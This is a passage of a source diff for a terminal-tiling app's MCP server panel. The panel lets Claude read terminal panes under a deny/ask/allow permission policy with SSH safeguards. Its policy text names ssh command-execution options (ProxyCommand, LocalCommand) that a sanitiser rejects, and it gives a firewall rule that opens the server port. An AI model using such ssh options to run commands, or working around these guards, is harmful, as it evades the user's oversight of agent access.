color: #888;
font-size: 11px;
font-style: italic;
margin: 0;
line-height: 1.45;
}
.policy-save-area {
display: flex;
align-items: center;
gap: 8px;
flex-shrink: 0;
}
.policy-save-error {
color: #e06060;
font-size: 10px;
max-width: 150px;
}
.policy-save-btn {
font: inherit;
font-family: inherit;
font-size: 11px;
font-weight: 600;
background: #1a3a1a;
color: #80e080;
border: 1px solid #2a6a2a;
border-radius: 3px;
padding: 4px 14px;
cursor: pointer;
}
.policy-save-btn:hover:not(:disabled) { background: #225a22; }
.policy-save-btn:disabled { opacity: 0.4; cursor: default; }
.policy-buckets {
display: flex;
flex-direction: column;
gap: 10px;
}
.policy-bucket {
background: #111;
border: 1px solid #2a2a2a;
border-radius: 4px;
padding: 8px 10px;
display: flex;
flex-direction: column;
gap: 6px;
}
.policy-bucket--deny { border-color: #3a2020; }
.policy-bucket--ask { border-color: #3a3020; }
.policy-bucket--allow { border-color: #1a2a1a; }
.policy-bucket-header {
font-size: 10px;
text-transform: uppercase;
letter-spacing: 0.07em;
color: #888;
padding-bottom: 4px;
border-bottom: 1px solid #2a2a2a;
}
.policy-bucket--deny .policy-bucket-header { color: #c06060; }
.policy-bucket--ask .policy-bucket-header { color: #c09040; }
.policy-bucket--allow .policy-bucket-header { color: #60a060; }
.policy-rule-list {
list-style: none;
margin: 0;
padding: 0;
display: flex;
flex-direction: column;
gap: 3px;
min-height: 24px;
}
.policy-rule-empty {
color: #555;
font-size: 11px;
padding: 2px 0;
}
.policy-rule {
display: flex;
align-items: center;
gap: 4px;
}
.policy-rule-text {
flex: 1 1 auto;
font-family: inherit;
font-size: 11px;
color: #ccc;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
}
.policy-rule-remove {
background: transparent;
border: none;
color: #666;
font-size: 14px;
line-height: 1;
padding: 0 3px;
cursor: pointer;
border-radius: 2px;
flex-shrink: 0;
}
.policy-rule-remove:hover { color: #e06060; background: #2a1a1a; }
.policy-add-row {
display: flex;
gap: 4px;
margin-top: 2px;
}
.policy-add-input {
flex: 1 1 auto;
font: inherit;
font-family: inherit;
font-size: 11px;
color: #ddd;
background: #0c0c0c;
border: 1px solid #2a2a2a;
border-radius: 3px;
padding: 3px 6px;
outline: none;
min-width: 0;
}
.policy-add-input:focus { border-color: #4488cc; }
.policy-add-btn {
font: inherit;
font-family: inherit;
font-size: 11px;
background: #222;
color: #aac;
border: 1px solid #2a2a3a;
border-radius: 3px;
padding: 0 8px;
cursor: pointer;
flex-shrink: 0;
}
.policy-add-btn:hover:not(:disabled) { background: #2a2a3a; color: #ccd; }
.policy-add-btn:disabled { opacity: 0.4; cursor: default; }
/* Hard-deny section */
.policy-hard-deny {
background: #0e0e0e;
border: 1px solid #222;
border-radius: 4px;
padding: 10px 12px;
}
.policy-hard-deny-header {
font-size: 10px;
font-variant: small-caps;
letter-spacing: 0.1em;
color: #666;
margin-bottom: 6px;
text-transform: lowercase;
}
.policy-hard-deny-list {
list-style: none;
margin: 0;
padding: 0;
display: flex;
flex-direction: column;
gap: 4px;
}
.policy-hard-deny-rule {
display: flex;
align-items: center;
gap: 8px;
font-size: 11px;
}
.policy-hard-deny-rule code {
font-family: inherit;
color: #888;
background: #0c0c0c;
padding: 1px 5px;
border-radius: 2px;
border: 1px solid #1e1e1e;
flex-shrink: 0;
}
.policy-hard-deny-badge {
font-size: 9px;
text-transform: uppercase;
letter-spacing: 0.06em;
color: #555;
border: 1px solid #2a2a2a;
border-radius: 3px;
padding: 1px 5px;
white-space: nowrap;
}
.policy-hard-deny-footnote {
font-size: 10px;
font-style: italic;
color: #555;
margin: 8px 0 0;
line-height: 1.4;
}
/* ---- Confirm modal ------------------------------------------------------ */
.mcp-confirm {
position: fixed;
top: 20vh;
left: 50%;
transform: translateX(-50%);
width: min(520px, 92vw);
max-height: 60vh;
background: #161616;
color: #ccc;
border: 1px solid #c09040;
border-radius: 8px;
box-shadow: 0 20px 60px rgba(0, 0, 0, 0.7);
z-index: 200;
display: flex;
flex-direction: column;
overflow: hidden;
font-family: "Cascadia Mono", "JetBrains Mono", "Consolas", monospace;
}
.mcp-confirm-header {
padding: 10px 14px;
border-bottom: 1px solid #2a2a2a;
background: linear-gradient(180deg, #2a2010, #161616);
}
.mcp-confirm-title { font-size: 13px; font-weight: 600; }
.mcp-confirm-title code {
color: #c09040;
background: transparent;
font-size: 12px;
}
.mcp-confirm-body {
padding: 14px 16px;
overflow-y: auto;
font-size: 12px;
line-height: 1.5;
scrollbar-width: thin;
scrollbar-color: #2a2a2a transparent;
}
.mcp-confirm-body::-webkit-scrollbar { width: 8px; }
.mcp-confirm-body::-webkit-scrollbar-thumb {
background: #2a2a2a;
border-radius: 4px;
border: 1px solid #1a1a1a;
}
.mcp-confirm-summary { margin: 0 0 8px; color: #ddd; }
.mcp-confirm-reason { margin: 0 0 8px; color: #888; font-size: 11px; }
.mcp-confirm-reason em { color: #c09040; font-style: normal; }
.mcp-confirm-args {
margin-top: 10px;
font-size: 11px;
}
.mcp-confirm-args summary {
color: #888;
cursor: pointer;
user-select: none;
padding: 2px 0;
}
.mcp-confirm-args summary:hover { color: #aaa; }
.mcp-confirm-args pre {
background: #0c0c0c;
border: 1px solid #2a2a2a;
border-radius: 3px;
padding: 8px;
margin: 6px 0 0;
color: #aaa;
font-size: 11px;
overflow-x: auto;
white-space: pre-wrap;
}
.mcp-confirm-actions {
display: flex;
justify-content: flex-end;
gap: 8px;
padding: 10px 14px;
border-top: 1px solid #2a2a2a;
background: #111;
}
.mcp-confirm-reject,
.mcp-confirm-accept {
font: inherit;
font-size: 12px;
padding: 5px 14px;
border-radius: 3px;
cursor: pointer;
border: 1px solid #2a2a3a;
}
.mcp-confirm-reject { background: #1a1a1a; color: #aaa; }
.mcp-confirm-reject:hover { background: #2a1a1a; color: #e08080; border-color: #4a2020; }
.mcp-confirm-accept { background: #1a2a1a; color: #80c080; border-color: #2a4a2a; }
.mcp-confirm-accept:hover { background: #2a4a2a; color: #a0e0a0; }
.mcp-confirm-always {
font: inherit;
font-size: 12px;
padding: 5px 14px;
border-radius: 3px;
cursor: pointer;
background: #1a1a2a;
color: #aac;
border: 1px solid #2a2a4a;
margin-right: auto;
}
.mcp-confirm-always:hover {
background: #2a2a4a;
color: #ccd;
border-color: #4488cc;
}
.mcp-confirm-ssh-warn {
background: #2a1a1a;
border: 1px solid #a04040;
border-radius: 4px;
padding: 8px 10px;
margin: 0 0 10px;
color: #e0a0a0;
font-size: 11px;
line-height: 1.5;
}
.mcp-confirm-ssh-warn strong { color: #ff8080; }
.mcp-confirm-ssh-warn code {
background: #0c0c0c;
padding: 1px 4px;
border-radius: 2px;
color: #ffcccc;
}
.mcp-confirm-ssh-warn em { color: #ffd0a0; font-style: normal; }
/* ---- SSH safeguards section ------------------------------------------- */
.policy-ssh-safeguards {
background: #1a1410;
border: 1px solid #4a2a1a;
border-radius: 4px;
padding: 10px 12px;
margin-bottom: 12px;
}
.policy-ssh-safeguards .policy-bucket-header {
color: #d8a040;
border-bottom-color: #3a2a1a;
margin-bottom: 8px;
}
.policy-toggle-row {
display: flex;
align-items: flex-start;
gap: 8px;
padding: 6px 0;
cursor: pointer;
border-top: 1px solid #2a1a10;
}
.policy-toggle-row:first-of-type { border-top: none; }
.policy-toggle-row input[type="checkbox"] {
margin-top: 3px;
accent-color: #d8a040;
flex-shrink: 0;
}
.policy-toggle-text {
font-size: 11px;
color: #b8a890;
line-height: 1.45;
}
.policy-toggle-text strong { color: #d8a040; display: block; margin-bottom: 2px; }
.policy-toggle-text code {
background: #0c0c0c;
padding: 1px 4px;
border-radius: 2px;
font-family: inherit;
color: #ffcc80;
}
.policy-toggle-row input:disabled + .policy-toggle-text {
opacity: 0.5;
}

343
src/components/McpPanel.tsx Normal file
View file

@ -0,0 +1,343 @@
import { useEffect, useState, useCallback } from "react";
import {
writeText as clipboardWriteText,
} from "@tauri-apps/plugin-clipboard-manager";
import { openUrl } from "@tauri-apps/plugin-opener";
import type { McpStatus, McpAuditEntry } from "../ipc";
import AuditTab from "./AuditTab";
import PolicyTab from "./PolicyTab";
import ErrorBoundary from "./ErrorBoundary";
import "./McpPanel.css";
// URL of the GitHub-style releases page where each tagged build attaches the
// prebuilt `.mcpb` bundle (sibling to the NSIS installer). Source bundle is
// regeneratable via `pnpm run build:mcpb`.
const MCPB_RELEASES_URL = "https://git.rdx4.com/megaproxy/tiletopia/releases";
interface McpPanelProps {
status: McpStatus;
onStart: () => Promise<void>;
onStop: () => Promise<void>;
onRegenerateToken: () => Promise<void>;
onClose: () => void;
/** Count of leaves with mcpAllow=true shown so the user knows whether
* enabling the server will actually expose anything. */
allowedPaneCount: number;
/** Total pane count for context. */
totalPaneCount: number;
/** Persistent audit log, owned by App so it survives panel close. */
auditEntries: McpAuditEntry[];
onClearAudit: () => void;
}
type TabId = "config" | "audit" | "policy";
export default function McpPanel({
status,
onStart,
onStop,
onRegenerateToken,
onClose,
allowedPaneCount,
totalPaneCount,
auditEntries,
onClearAudit,
}: McpPanelProps) {
const [busy, setBusy] = useState(false);
const [revealToken, setRevealToken] = useState(false);
const [regenBusy, setRegenBusy] = useState(false);
const [tab, setTab] = useState<TabId>("config");
// Unread badge on Audit tab: count of entries arrived since the user last
// visited Audit. Tracked via a baseline count, reset on switch-to-audit.
const [auditSeenCount, setAuditSeenCount] = useState(auditEntries.length);
const auditUnread = auditEntries.length > auditSeenCount;
useEffect(() => {
function onKey(e: KeyboardEvent) {
if (e.key === "Escape") {
e.preventDefault();
onClose();
}
}
window.addEventListener("keydown", onKey);
return () => window.removeEventListener("keydown", onKey);
}, [onClose]);
const toggle = useCallback(async () => {
if (busy) return;
setBusy(true);
try {
if (status.running) await onStop();
else await onStart();
} finally {
setBusy(false);
}
}, [busy, status.running, onStart, onStop]);
const copy = useCallback((s: string) => {
void clipboardWriteText(s).catch((e) =>
console.warn("clipboard write failed:", e),
);
}, []);
const regenerate = useCallback(async () => {
if (regenBusy) return;
const warn = status.running
? "Regenerate token? Existing MCP clients will be disconnected and need the new token to reconnect."
: "Regenerate token? Any saved client config with the old token will stop working.";
if (!window.confirm(warn)) return;
setRegenBusy(true);
try {
await onRegenerateToken();
} finally {
setRegenBusy(false);
}
}, [regenBusy, status.running, onRegenerateToken]);
function switchTab(id: TabId) {
setTab(id);
if (id === "audit") setAuditSeenCount(auditEntries.length);
}
return (
<>
<button className="backdrop" onClick={onClose} aria-label="Close" />
<div className="mcp-panel" role="dialog" aria-label="MCP server">
<header className="mcp-header">
<span className="mcp-title">MCP server</span>
<button className="mcp-close" onClick={onClose} aria-label="Close">×</button>
</header>
{/* Tab bar */}
<div className="mcp-tabs" role="tablist">
<button
className={`mcp-tab${tab === "config" ? " mcp-tab--active" : ""}`}
role="tab"
aria-selected={tab === "config"}
onClick={() => switchTab("config")}
>
Config
</button>
<button
className={`mcp-tab${tab === "audit" ? " mcp-tab--active" : ""}`}
role="tab"
aria-selected={tab === "audit"}
onClick={() => switchTab("audit")}
>
Audit
{auditUnread && <span className="mcp-tab-badge" aria-label="new entries" />}
</button>
<button
className={`mcp-tab${tab === "policy" ? " mcp-tab--active" : ""}`}
role="tab"
aria-selected={tab === "policy"}
onClick={() => switchTab("policy")}
>
Policy
</button>
</div>
<div className="mcp-body">
{tab === "config" && (
<>
<p className="mcp-blurb">
Lets a Claude session on the same machine inspect this workspace
via Model Context Protocol see which panes are running, read
their scrollback, wait for commands to settle. Read-only in v1;
Claude can't send keystrokes or reshape the layout yet.
</p>
<div className="mcp-toggle-row">
<button
className={`mcp-toggle${status.running ? " on" : ""}`}
onClick={() => { void toggle(); }}
disabled={busy}
>
<span className="mcp-dot" />
{status.running ? "Server: ON" : "Server: OFF"}
</button>
<span className="mcp-allow-count">
{allowedPaneCount} of {totalPaneCount} pane
{totalPaneCount === 1 ? "" : "s"} allow-listed
{allowedPaneCount === 0 && status.running && (
<span className="mcp-allow-warn">
{" "}
Claude will see nothing until you toggle 🤖 on at least
one pane.
</span>
)}
</span>
</div>
{status.running && status.url && status.token && (
<>
<div className="mcp-field">
<label>URL</label>
<div className="mcp-field-row">
<input readOnly value={status.url} onFocus={(e) => e.currentTarget.select()} />
<button onClick={() => copy(status.url!)}>Copy</button>
</div>
</div>
<div className="mcp-field">
<label>Bearer token</label>
<div className="mcp-field-row">
<input
readOnly
type={revealToken ? "text" : "password"}
value={status.token}
onFocus={(e) => e.currentTarget.select()}
/>
<button onClick={() => setRevealToken((r) => !r)}>
{revealToken ? "Hide" : "Show"}
</button>
<button onClick={() => copy(status.token!)}>Copy</button>
<button onClick={() => { void regenerate(); }} disabled={regenBusy}>
{regenBusy ? "…" : "Regenerate"}
</button>
</div>
<p className="mcp-hint">
URL + token persist across restarts paste the snippet
into your Claude config once. Regenerate if the token
leaks.
</p>
</div>
<div className="mcp-field">
<label>Claude Desktop (one-click install)</label>
<div className="mcp-mcpb-row">
<button
className="mcp-mcpb-btn"
onClick={() => {
void openUrl(MCPB_RELEASES_URL).catch((e) =>
console.warn("open releases page failed:", e),
);
}}
>
Download .mcpb
</button>
<p className="mcp-hint mcp-mcpb-hint">
Grab <code>tiletopia.mcpb</code> from the releases
page, then drag it into Claude Desktop's{" "}
<em>Settings Extensions</em>. The bundle reads your
bearer token from <code>%APPDATA%</code> at launch
zero copy-paste, and token regeneration above keeps
working transparently. (Bundle is regeneratable from
source via <code>pnpm run build:mcpb</code>.)
</p>
</div>
</div>
<div className="mcp-field">
<label>Claude Code config snippet (.mcp.json)</label>
<pre className="mcp-snippet">
{`{
"mcpServers": {
"tiletopia": {
"command": "npx",
"args": [
"-y", "mcp-remote",
"${status.url}",
"--allow-http",
"--header", "Authorization: Bearer ${status.token}"
]
}
}
}`}
</pre>
<button
onClick={() =>
copy(
JSON.stringify(
{
mcpServers: {
tiletopia: {
command: "npx",
args: [
"-y",
"mcp-remote",
status.url,
"--allow-http",
"--header",
`Authorization: Bearer ${status.token}`,
],
},
},
},
null,
2,
),
)
}
>
Copy config snippet
</button>
</div>
<div className="mcp-tips">
<strong>Why the shim?</strong> Claude Code's HTTP-MCP
client tries OAuth discovery and ignores static{" "}
<code>headers</code> auth (Anthropic issues #17152, #46879).
The <code>mcp-remote</code> stdio shim transparently
proxies the HTTP endpoint with the bearer header attached,
which sidesteps the OAuth flow entirely. Other MCP
clients that handle bearer auth correctly can connect
directly to the URL above with the token in an{" "}
<code>Authorization</code> header.
<br />
<br />
<strong>WSL connectivity:</strong> the URL uses{" "}
<code>127.0.0.1</code>; a Claude session running inside
WSL needs to either swap that for the WSL gateway IP
(<code>ip route show default | awk '{`{print $3}`}'</code>{" "}
inside WSL changes after each WSL restart), or enable
mirrored networking (<code>networkingMode=mirrored</code>{" "}
in <code>%UserProfile%\.wslconfig</code>, Win11 22H2+)
so <code>127.0.0.1</code> in WSL routes to this host.
You'll likely also need to allow the port through Windows
Defender Firewall:{" "}
<code>
New-NetFirewallRule -DisplayName 'tiletopia MCP'
-Direction Inbound -Action Allow -Protocol TCP
-LocalPort {status.url.match(/:(\d+)\//)?.[1] ?? "47821"}{" "}
-Profile Any
</code>{" "}
(elevated PowerShell).
</div>
</>
)}
{!status.running && (
<p className="mcp-off-hint">
Server is off no port is open. Token is generated when you
start. Each pane needs the 🤖 chip toggled on for Claude to
see it.
</p>
)}
<p className="mcp-security">
<strong>Security:</strong> bound to <code>0.0.0.0</code> so WSL
distros and other machines on your LAN can reach it; bearer
token is the only thing keeping them out. Treat MCP access as
equivalent to terminal access don't share the token, don't
run the server on an untrusted network. Saved SSH passwords are{" "}
<em>never</em> exposed through MCP.
</p>
</>
)}
{tab === "audit" && (
<ErrorBoundary label="Audit tab">
<AuditTab entries={auditEntries} onClear={onClearAudit} />
</ErrorBoundary>
)}
{tab === "policy" && (
<ErrorBoundary label="Policy tab">
<PolicyTab />
</ErrorBoundary>
)}
</div>
</div>
</>
);
}

View file

@ -0,0 +1,254 @@
import { useEffect, useState, useRef } from "react";
import {
mcpHardDenyLabels,
mcpPolicyLoad,
mcpPolicySave,
type McpPolicy,
} from "../ipc";
type Bucket = "deny" | "ask" | "allow";
const BUCKET_LABELS: Record<Bucket, string> = {
deny: "Deny: blocked outright",
ask: "Ask: confirm in a modal",
allow: "Silently run",
};
interface RuleListProps {
bucket: Bucket;
rules: string[];
onRemove: (bucket: Bucket, index: number) => void;
onAdd: (bucket: Bucket, rule: string) => void;
}
function RuleList({ bucket, rules, onRemove, onAdd }: RuleListProps) {
const [draft, setDraft] = useState("");
const inputRef = useRef<HTMLInputElement>(null);
function handleAdd() {
const trimmed = draft.trim();
if (!trimmed) return;
onAdd(bucket, trimmed);
setDraft("");
inputRef.current?.focus();
}
function handleKeyDown(e: React.KeyboardEvent) {
if (e.key === "Enter") handleAdd();
}
return (
<div className={`policy-bucket policy-bucket--${bucket}`}>
<div className="policy-bucket-header">{BUCKET_LABELS[bucket]}</div>
<ul className="policy-rule-list">
{rules.length === 0 && (
<li className="policy-rule-empty"></li>
)}
{rules.map((r, i) => (
<li key={i} className="policy-rule">
<code className="policy-rule-text">{r}</code>
<button
className="policy-rule-remove"
onClick={() => onRemove(bucket, i)}
aria-label={`Remove rule ${r}`}
>
×
</button>
</li>
))}
</ul>
<div className="policy-add-row">
<input
ref={inputRef}
className="policy-add-input"
value={draft}
onChange={(e) => setDraft(e.target.value)}
onKeyDown={handleKeyDown}
placeholder="e.g. write_pane(git push *)"
aria-label={`Add ${bucket} rule`}
/>
<button
className="policy-add-btn"
onClick={handleAdd}
disabled={!draft.trim()}
>
Add
</button>
</div>
</div>
);
}
export default function PolicyTab() {
const [policy, setPolicy] = useState<McpPolicy | null>(null);
const [hardDenyLabels, setHardDenyLabels] = useState<string[]>([]);
const [dirty, setDirty] = useState(false);
const [saving, setSaving] = useState(false);
const [saveError, setSaveError] = useState<string | null>(null);
useEffect(() => {
void mcpPolicyLoad().then(setPolicy);
void mcpHardDenyLabels().then(setHardDenyLabels);
}, []);
function mutate(updater: (p: McpPolicy) => McpPolicy) {
setPolicy((prev) => {
if (!prev) return prev;
const next = updater(prev);
setDirty(true);
return next;
});
}
function handleRemove(bucket: Bucket, index: number) {
mutate((p) => ({
...p,
permissions: {
...p.permissions,
[bucket]: p.permissions[bucket].filter((_, i) => i !== index),
},
}));
}
function handleAdd(bucket: Bucket, rule: string) {
mutate((p) => ({
...p,
permissions: {
...p.permissions,
[bucket]: [...p.permissions[bucket], rule],
},
}));
}
function setSshSafeguard(
key: "allowOpenSsh" | "autoAllowSpawnedSsh" | "allowAddHost",
value: boolean,
) {
mutate((p) => ({
...p,
sshSafeguards: { ...p.sshSafeguards, [key]: value },
}));
}
async function handleSave() {
if (!policy || !dirty || saving) return;
setSaving(true);
setSaveError(null);
try {
await mcpPolicySave(policy);
setDirty(false);
} catch (e) {
setSaveError(String(e));
} finally {
setSaving(false);
}
}
if (!policy) {
return <p className="policy-loading">Loading policy</p>;
}
return (
<div className="policy-tab">
<div className="policy-toolbar">
<p className="policy-hint">
Empty policy = every MCP tool call asks for confirmation. Add rules
to bypass the prompt for patterns you trust, or to block patterns
outright.
</p>
<div className="policy-save-area">
{saveError && (
<span className="policy-save-error">{saveError}</span>
)}
<button
className="policy-save-btn"
onClick={() => { void handleSave(); }}
disabled={!dirty || saving}
>
{saving ? "Saving…" : "Save"}
</button>
</div>
</div>
<div className="policy-ssh-safeguards">
<div className="policy-bucket-header">SSH safeguards</div>
<label className="policy-toggle-row">
<input
type="checkbox"
checked={policy.sshSafeguards.allowOpenSsh}
onChange={(e) => setSshSafeguard("allowOpenSsh", e.target.checked)}
/>
<div className="policy-toggle-text">
<strong>Allow Claude to open SSH connections.</strong> When off,
the <code>connect_host</code> and <code>spawn_pane(kind=ssh)</code>
{" "}tools refuse with a clear error. You can still open SSH
sessions manually via the titlebar 🔑 picker, and Claude can
interact with them if you toggle 🤖 on.
</div>
</label>
<label className="policy-toggle-row">
<input
type="checkbox"
checked={policy.sshSafeguards.autoAllowSpawnedSsh}
onChange={(e) =>
setSshSafeguard("autoAllowSpawnedSsh", e.target.checked)
}
disabled={!policy.sshSafeguards.allowOpenSsh}
/>
<div className="policy-toggle-text">
<strong>Auto-grant Claude access to newly-spawned SSH panes.</strong>{" "}
When off, an SSH pane Claude opens starts with 🤖 off you have
to explicitly toggle it before Claude can read scrollback or send
keystrokes. Only meaningful when the switch above is on.
</div>
</label>
<label className="policy-toggle-row">
<input
type="checkbox"
checked={policy.sshSafeguards.allowAddHost}
onChange={(e) =>
setSshSafeguard("allowAddHost", e.target.checked)
}
/>
<div className="policy-toggle-text">
<strong>Allow Claude to save or delete SSH hosts.</strong> When
off, the <code>add_host</code> and <code>delete_host</code> tools
refuse with a clear error only you manage the saved-hosts list
via the titlebar 🔑 picker. Extra ssh args (<code>-o ...</code>)
on saved hosts are still sanitised to reject command-execution
primitives (<code>ProxyCommand</code>, <code>LocalCommand</code>,
etc.) regardless of this switch.
</div>
</label>
</div>
<div className="policy-buckets">
{(["deny", "ask", "allow"] as Bucket[]).map((bucket) => (
<RuleList
key={bucket}
bucket={bucket}
rules={policy.permissions[bucket]}
onRemove={handleRemove}
onAdd={handleAdd}
/>
))}
</div>
<div className="policy-hard-deny">
<div className="policy-hard-deny-header">Always blocked (built-in)</div>
<ul className="policy-hard-deny-list">
{hardDenyLabels.map((label) => (
<li key={label} className="policy-hard-deny-rule">
<code>{label}</code>
<span className="policy-hard-deny-badge">Cannot be disabled</span>
</li>
))}
</ul>
<p className="policy-hard-deny-footnote">
These patterns are caught regardless of policy. Best-effort accident
prevention, not a sandbox see README.
</p>
</div>
</div>
);
}

View file

@ -0,0 +1,105 @@
/* ---------------------------------------------------------------------------
SearchBar find-in-scrollback overlay.
Positioned absolutely inside XtermPane's container div (which must be
position: relative). Sits at the top-right of the pane, z-index 10 so it
floats above the xterm canvas but below any app-level modals (z-index 100).
Colour palette matches Palette.css / Help.css: #181818 surface, #2a2a2a
borders, #e6e6e6 text, #1a3a5c accent.
--------------------------------------------------------------------------- */
.search-bar {
position: absolute;
top: 4px;
right: 4px;
z-index: 10;
display: flex;
align-items: center;
gap: 3px;
background: #181818;
border: 1px solid #2a2a2a;
border-radius: 5px;
box-shadow: 0 4px 16px rgba(0, 0, 0, 0.55);
padding: 3px 4px;
font-family: "Cascadia Mono", "JetBrains Mono", "Consolas", monospace;
font-size: 12px;
color: #e6e6e6;
}
.search-input {
font: inherit;
font-size: 12px;
color: #e6e6e6;
background: #1f1f1f;
border: 1px solid #2a2a2a;
border-radius: 3px;
padding: 3px 7px;
outline: none;
width: 180px;
caret-color: #e6e6e6;
}
.search-input:focus {
border-color: #1a3a5c;
box-shadow: 0 0 0 1px #1a3a5c;
}
.search-input::placeholder {
color: #555;
}
/* Toggle buttons (Aa / .*) */
.search-toggle {
font: inherit;
font-size: 11px;
background: transparent;
border: 1px solid #2a2a2a;
border-radius: 3px;
color: #888;
padding: 2px 5px;
cursor: pointer;
line-height: 1;
transition: background 0.1s, color 0.1s;
}
.search-toggle:hover,
.search-toggle[aria-pressed="true"] {
background: #1a3a5c;
border-color: #1a5c8a;
color: #cce6ff;
}
/* Prev / Next navigation arrows */
.search-nav {
font: inherit;
font-size: 13px;
background: transparent;
border: 1px solid #2a2a2a;
border-radius: 3px;
color: #aaa;
padding: 1px 6px;
cursor: pointer;
line-height: 1;
}
.search-nav:hover {
background: #2a2a2a;
color: #e6e6e6;
}
/* Close button */
.search-close {
background: transparent;
border: none;
color: #666;
font-size: 16px;
line-height: 1;
padding: 1px 5px;
cursor: pointer;
border-radius: 3px;
}
.search-close:hover {
background: #2a2a2a;
color: #ddd;
}

View file

@ -0,0 +1,177 @@
import { useRef, useEffect, useState } from "react";
import type { SearchAddon } from "@xterm/addon-search";
import "./SearchBar.css";
// ---------------------------------------------------------------------------
// SearchBar — per-pane find-in-scrollback overlay.
//
// Rendered as an absolutely-positioned sibling of the xterm canvas inside
// XtermPane's container div (position: relative). The SearchAddon instance
// is owned by XtermPane and passed down as a prop; no IPC or Context needed.
//
// Toggle state (caseSensitive, regex) uses useState so aria-pressed reflects
// the live value on every render — refs alone don't trigger re-renders.
// ---------------------------------------------------------------------------
interface SearchBarProps {
searchAddon: SearchAddon;
onClose: () => void;
}
export default function SearchBar({ searchAddon, onClose }: SearchBarProps) {
const inputRef = useRef<HTMLInputElement>(null);
const queryRef = useRef("");
const [caseSensitive, setCaseSensitive] = useState(false);
const [useRegex, setUseRegex] = useState(false);
// Keep stable refs to toggle values so findNext/findPrev closures always
// see the current value without needing to be recreated on each state change.
const caseSensitiveRef = useRef(caseSensitive);
const useRegexRef = useRef(useRegex);
useEffect(() => { caseSensitiveRef.current = caseSensitive; }, [caseSensitive]);
useEffect(() => { useRegexRef.current = useRegex; }, [useRegex]);
// Autofocus the input when the bar mounts.
useEffect(() => {
queueMicrotask(() => inputRef.current?.focus());
}, []);
function getOptions() {
return {
caseSensitive: caseSensitiveRef.current,
regex: useRegexRef.current,
// Highlight all matches and mark the active one distinctly.
decorations: {
matchBackground: "#3a3a00",
matchBorder: "#888800",
matchOverviewRuler: "#888800",
activeMatchBackground: "#b5890080",
activeMatchBorder: "#e6c000",
activeMatchColorOverviewRuler: "#e6c000",
},
};
}
function findNext() {
if (!queryRef.current) return;
searchAddon.findNext(queryRef.current, getOptions());
}
function findPrev() {
if (!queryRef.current) return;
searchAddon.findPrevious(queryRef.current, getOptions());
}
function handleInput(e: React.ChangeEvent<HTMLInputElement>) {
queryRef.current = e.target.value;
// Live-search: jump to next match as you type.
if (queryRef.current) {
searchAddon.findNext(queryRef.current, getOptions());
}
}
function handleKeyDown(e: React.KeyboardEvent<HTMLInputElement>) {
if (e.key === "Escape") {
e.preventDefault();
onClose();
} else if (e.key === "Enter") {
e.preventDefault();
if (e.shiftKey) {
findPrev();
} else {
findNext();
}
}
}
function toggleCase() {
setCaseSensitive((v) => {
const next = !v;
caseSensitiveRef.current = next;
// Re-run with the new option so decorations update immediately.
if (queryRef.current) {
searchAddon.findNext(queryRef.current, {
...getOptions(),
caseSensitive: next,
});
}
return next;
});
}
function toggleRegex() {
setUseRegex((v) => {
const next = !v;
useRegexRef.current = next;
if (queryRef.current) {
searchAddon.findNext(queryRef.current, {
...getOptions(),
regex: next,
});
}
return next;
});
}
return (
<div className="search-bar" role="search" aria-label="Find in terminal">
<input
ref={inputRef}
type="text"
className="search-input"
placeholder="Find…"
onChange={handleInput}
onKeyDown={handleKeyDown}
aria-label="Search term"
spellCheck={false}
/>
<button
className="search-toggle"
title="Case-sensitive"
aria-label="Toggle case-sensitive"
aria-pressed={caseSensitive ? "true" : "false"}
onClick={toggleCase}
>
Aa
</button>
<button
className="search-toggle"
title="Regular expression"
aria-label="Toggle regular expression"
aria-pressed={useRegex ? "true" : "false"}
onClick={toggleRegex}
>
.*
</button>
<button
className="search-nav"
title="Previous match (Shift+Enter)"
aria-label="Previous match"
onClick={findPrev}
>
&#8593;
</button>
<button
className="search-nav"
title="Next match (Enter)"
aria-label="Next match"
onClick={findNext}
>
&#8595;
</button>
<button
className="search-close"
title="Close (Escape)"
aria-label="Close search"
onClick={onClose}
>
×
</button>
</div>
);
}

175
src/components/TabStrip.css Normal file
View file

@ -0,0 +1,175 @@
.tab-strip {
flex: 0 0 auto;
display: flex;
align-items: stretch;
gap: 2px;
padding: 4px 8px 0 8px;
background: #161616;
border-bottom: 1px solid #2a2a2a;
font-size: 12px;
color: #aaa;
user-select: none;
overflow-x: auto;
min-height: 28px;
box-sizing: border-box;
white-space: nowrap;
/* The confirm popover is portalled to <body> (see TabStrip.tsx), so it is
not clipped by this strip's overflow. */
}
.tab-strip-item {
position: relative;
display: inline-flex;
align-items: center;
gap: 6px;
padding: 4px 4px 4px 10px;
border: 1px solid #2a2a2a;
border-bottom: none;
border-top-left-radius: 4px;
border-top-right-radius: 4px;
background: #1a1a1a;
color: #999;
cursor: pointer;
max-width: 200px;
min-width: 80px;
flex-shrink: 0;
}
.tab-strip-item:hover {
background: #232323;
color: #ccc;
}
.tab-strip-item.active {
background: #0c0c0c;
color: #e6e6e6;
border-color: #2a5a8c;
/* Pull the active tab visually onto the pane area below it. */
margin-bottom: -1px;
}
.tab-strip-name {
font-family: "Cascadia Mono", "JetBrains Mono", "Consolas", monospace;
font-size: 11px;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
flex: 1 1 auto;
min-width: 0;
}
.tab-strip-rename {
font: inherit;
font-family: "Cascadia Mono", "JetBrains Mono", "Consolas", monospace;
font-size: 11px;
background: #0c0c0c;
color: #e6e6e6;
border: 1px solid #2a5a8c;
border-radius: 2px;
padding: 1px 4px;
width: 100%;
flex: 1 1 auto;
min-width: 0;
outline: none;
}
.tab-strip-close {
font: inherit;
font-family: "Cascadia Mono", "JetBrains Mono", "Consolas", monospace;
font-size: 13px;
line-height: 1;
background: transparent;
color: #777;
border: none;
border-radius: 2px;
padding: 0 4px;
cursor: pointer;
flex: 0 0 auto;
}
.tab-strip-close:hover {
background: #c94040;
color: #fff;
}
.tab-strip-add {
font: inherit;
font-family: "Cascadia Mono", "JetBrains Mono", "Consolas", monospace;
font-size: 14px;
line-height: 1;
background: #1a1a1a;
color: #aaa;
border: 1px solid #2a2a2a;
border-radius: 4px;
padding: 2px 10px;
cursor: pointer;
align-self: center;
margin-left: 4px;
flex: 0 0 auto;
}
.tab-strip-add:hover {
background: #1a3a5c;
color: #fff;
border-color: #2a5a8c;
}
/* Confirm popover anchored to the close button. Portalled to <body> and
positioned `fixed` (top/right set inline) so the horizontally-scrolling
tab strip overflow-x:auto forces overflow-y:auto, which would clip an
in-strip popover can't hide it. Plain matte panel; app palette. */
.tab-strip-confirm {
position: fixed;
z-index: 1000;
